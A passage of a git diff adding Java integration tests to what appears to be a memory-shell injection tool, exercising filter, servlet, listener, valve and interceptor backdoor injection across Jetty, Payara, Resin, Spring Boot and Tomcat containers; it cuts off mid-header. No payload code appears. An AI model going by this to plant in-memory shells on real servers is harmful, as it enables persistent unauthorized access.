b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,15 @@ public class Jetty94ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index 1f2bb4f0..c0e3c909 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,13 @@ public class Payara5201ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index ddcd5014..320451d5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,13 @@ public class Payara520225ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java index e1e98062..6a82e4ab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -22,9 +24,7 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason @@ -46,7 +46,7 @@ public class Payara620222ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -66,7 +66,7 @@ public class Payara620222ContainerTest { static void tearDown() { String logs = container.getLogs(); log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @@ -74,4 +74,13 @@ public class Payara620222ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java index 30a6ed11..881ca726 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,12 @@ public class Resin3116ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java index 933e25fc..a410aeb4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,12 @@ public class Resin318ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java index bab8ae69..dfa14406 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,12 @@ public class Resin4058ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java index 55ade55e..e3d508b0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,12 @@ public class Resin4067ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java index 77b3e449..e74501d4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -79,4 +81,12 @@ public class SpringBoot1ContainerTest { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index e749ca56..a4987896 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -101,4 +103,12 @@ public class SpringBoot2ContainerTest { void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index 5c44c9dd..9e16b0b6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -100,4 +102,13 @@ public class SpringBoot3ContainerTest { void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } + + + @ParameterizedTest + @ValueSource(strings = {ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index 29a7310d..d96b62f1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,6 +55,7 @@ public class Tomcat10ContainerTest { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, @@ -76,4 +79,16 @@ public class Tomcat10ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index f4244b9b..3d3143f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,7 @@ public class Tomcat11ContainerTest { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, @@ -77,4 +80,16 @@ public class Tomcat11ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index b71d0860..9f1883f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,7 @@ public class Tomcat11JRE21ContainerTest { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, @@ -78,4 +81,16 @@ public class Tomcat11JRE21ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index 058859c5..a4a4257c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,6 +55,7 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, @@ -76,4 +79,12 @@ public class Tomcat5ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 33224731..86dba01e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -52,6 +54,7 @@ public class Tomcat6ContainerTest { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, + ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, @@ -74,4 +77,12 @@ public class Tomcat6ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index 935b980a..65816cfa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -52,6 +54,7 @@ public class Tomcat7ContainerTest { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, + ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, @@ -75,4 +78,12 @@ public class Tomcat7ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java 